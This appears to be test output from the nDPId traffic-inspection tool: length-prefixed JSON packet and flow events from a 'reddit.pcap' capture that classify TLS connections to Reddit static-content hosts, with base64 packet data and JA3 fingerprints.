+00465{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":433,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":71076,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9o6MJX7sl7kLoBJXgNeBAAACBAV4AQMDAwQCCArC1zioqXTl5w=="} +00453{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":71087,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB\/ybACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PoBu\/q4YyyemEx1gBAB+2wmAAABAQgKqXTmC8LXOKk="} +00451{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":71097,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCVbzACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PgBu3BHTUwUASYRgBAB+711AAABAQgKqXTmC8LXOKk="} +00452{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":71101,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAChDACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PYBu+yXuQuOjCV\/gBAB+1tvAAABAQgKqXTmC8LXOKg="} +01147{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":71202,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gB\/ybAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PoBu\/q4YyyemEx1gBgB+7O0AAABAQgKqXTmC8LXOKkWAwECAAEAAfwDA5rJlA5wvxlyOOzY1QWQs9Y+MbP6uFJB6UOK+IyAcMcIIJKnHsVYD7m0a+U9PO+XZpcJeMZFPX7U2Eztmo3CPcbbACBKShMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNqagAAAAAAGQAXAAAUd3d3LnJlZGRpdHN0YXRpYy5jb20AFwAA\/wEAAQAACgAKAAgqKgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKSoqAAEAAB0AILIzZXuFCF2kUhuJMuKGx3A2g6Ss5IpeuXXloYIbe\/ZEAC0AAgEBACsACwrKygMEAwMDAgMBABsAAwIAAtraAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00830{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":437,"source":"reddit.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":4,"flow_first_seen":1605291686035,"flow_last_seen":1605291686071,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56570,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01145{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":71324,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCVbzAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PgBu3BHTUwUASYRgBgB+wWrAAABAQgKqXTmC8LXOKkWAwECAAEAAfwDA6nlTOwnjqrnVl5yuI1Ks79C74XWx+O2oOTAbeO2aN9OICg1U8dRUVXILSwRLrRyGqyt0yhPDVWC9XfpxF3PvsB6ACAqKhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZO6ugAAAAAAGQAXAAAUd3d3LnJlZGRpdHN0YXRpYy5jb20AFwAA\/wEAAQAACgAKAAiqqgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKaqqAAEAAB0AIB8c9P8A8qz0IF+PTdkCJlCO3fTtMZ9aL3pAQTd4K\/8UAC0AAgEBACsACwqqqgMEAwMDAgMBABsAAwIAAqqqAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00830{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":438,"source":"reddit.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1605291686035,"flow_last_seen":1605291686071,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56568,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01146{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":71421,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gAChDAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PYBu+yXuQuOjCV\/gBgB+wgeAAABAQgKqXTmC8LXOKgWAwECAAEAAfwDA7XecZSyIi1V1EshjdefUR6Jur4mAK6n2qRyNLgxIyayIElAt3tGSzVAaM4UMvIvnmVZMDtcC3g\/fPa8ngjS2vVAACC6uhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZMaGgAAAAAAGQAXAAAUd3d3LnJlZGRpdHN0YXRpYy5jb20AFwAA\/wEAAQAACgAKAAjq6gAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKerqAAEAAB0AIOYGrt0vj7XR6tD8KT6zhU9cFgDxLIaPkqiBK4j7VzFAAC0AAgEBACsACwpqagMEAwMDAgMBABsAAwIAAkpKAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00830{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":439,"source":"reddit.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1605291686035,"flow_last_seen":1605291686071,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56566,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00468{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":72675,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/KfiS\/LFklWsoBJXgCIUAAACBAV4AQMDAwQCCArC1ziqqXTl5w=="} +00452{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":72685,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAreKACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PwBu8WSVayn4kvzgBAB+6YAAAABAQgKqXTmDMLXOKo="} +01146{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":72857,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gAreKAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PwBu8WSVayn4kvzgBgB+0RHAAABAQgKqXTmDMLXOKoWAwECAAEAAfwDA1o9ioyYN6mmAmxKnXHh593sz3K9KCITZ6Fn+lYGqaRBIGFgq3bkszM7iVgGCyOZdKniRwtNXhNBGl\/550R+hhXrACBaWhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPa2gAAAAAAGQAXAAAUd3d3LnJlZGRpdHN0YXRpYy5jb20AFwAA\/wEAAQAACgAKAAiamgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKZqaAAEAAB0AIFrTKhIHrZdOy+j7+NARCA+xQZ+BmI+K5IoXoFjQledEAC0AAgEBACsACwrKygMEAwMDAgMBABsAAwIAAioqAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00831{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":442,"source":"reddit.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":4,"flow_first_seen":1605291686035,"flow_last_seen":1605291686072,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56572,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":443,"source":"reddit.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1605291686084,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56590,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":84924,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBTHMACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3Q4Bu5RtgHMAAAAAoAL9IHHJAAACBAWgBAIICql05hgAAAAAAQMDBw=="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":444,"source":"reddit.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1605291686084,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56592,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":84954,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCcfOACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RABu9uJgbEAAAAAoAL9ICltAAACBAWgBAIICql05hgAAAAAAQMDBw=="} +00466{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":99352,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdAmJL0EwGjpsfoBJXgFyoAAACBAV4AQMDAwQCCArC1zjFqXTmAA=="} +00466{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":99352,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdABmbR4V8rX10oBJXgNWtAAACBAV4AQMDAwQCCArC1zjFqXTmAA=="} +00467{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":99353,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/oyw49PvcdTXoBJXgPwjAAACBAV4AQMDAwQCCArC1zjFqXTmAA=="} +00452{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":99372,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBLbYACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QIBuwaOmx9iS9BNgBAB++CSAAABAQgKqXTmJ8LXOMU="} +00452{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":99405,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDoxGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QABu3ytfXQZm0eGgBAB+1mYAAABAQgKqXTmJ8LXOMU="} +00452{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":99409,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBKPwACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3P4Bu+9x1NeMsOPUgBAB+4AOAAABAQgKqXTmJ8LXOMU="} +01147{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":99570,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBLbYAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QIBuwaOmx9iS9BNgBgB+2+iAAABAQgKqXTmJ8LXOMUWAwECAAEAAfwDA8uUta0uBx4Fxq7jwol0GcBOBDpnX4U9m55TrPceI0IhIFEtV76qL2jHwvf4X\/jOVntcfpZQsMeLDB6NEKcAWMfNACCamhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZMqKgAAAAAAGwAZAAAWc3R5bGVzLnJlZGRpdG1lZGlhLmNvbQAXAAD\/AQABAAAKAAoACBoaAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApGhoAAQAAHQAgANjZNFFf1+t\/rj1DUoPqjjHILkO3yWwudfC9Y9G11hAALQACAQEAKwALChoaAwQDAwMCAwEAGwADAgACamoAAQAAFQDGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00833{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":451,"source":"reddit.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":4,"flow_first_seen":1605291686060,"flow_last_seen":1605291686099,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56578,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01146{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":99717,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDoxGAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QABu3ytfXQZm0eGgBgB++qsAAABAQgKqXTmJ8LXOMUWAwECAAEAAfwDA+xBE5HWK3vXD3rQB76Je12jBHDOAvJ1OsDdCdf7250MIK2rFy9r6akksLAlYpDl9Umc9HulF24sDo6Oaq\/unKMqACDa2hMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNqagAAAAAAGwAZAAAWc3R5bGVzLnJlZGRpdG1lZGlhLmNvbQAXAAD\/AQABAAAKAAoACGpqAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApamoAAQAAHQAgwSO5D18N3UJlGFo2ngAMFZnAZF8yiV+4DoIzUIX6JGkALQACAQEAKwALCjo6AwQDAwMCAwEAGwADAgAC6uoAAQAAFQDGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00833{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":452,"source":"reddit.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":4,"flow_first_seen":1605291686060,"flow_last_seen":1605291686099,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56576,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01145{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":453,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":99811,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBKPwAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3P4Bu+9x1NeMsOPUgBgB+3R1AAABAQgKqXTmJ8LXOMUWAwECAAEAAfwDAyz3FJWIGb+4j0TH4HbH5fysl2zEg7l3CNO6pgT+aRLDIJFY0aSgsZzUYIlmL6tHUwGBKm0vldxr3gkmVsdcJYKLACC6uhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZMaGgAAAAAAGwAZAAAWc3R5bGVzLnJlZGRpdG1lZGlhLmNvbQAXAAD\/AQABAAAKAAoACGpqAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApamoAAQAAHQAgAm9uRJ+FA0NAboWl4pN7nfbQJC5lBDzsCBcMRgVbPlIALQACAQEAKwALCmpqAwQDAwMCAwEAGwADAgACKioAAQAAFQDGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 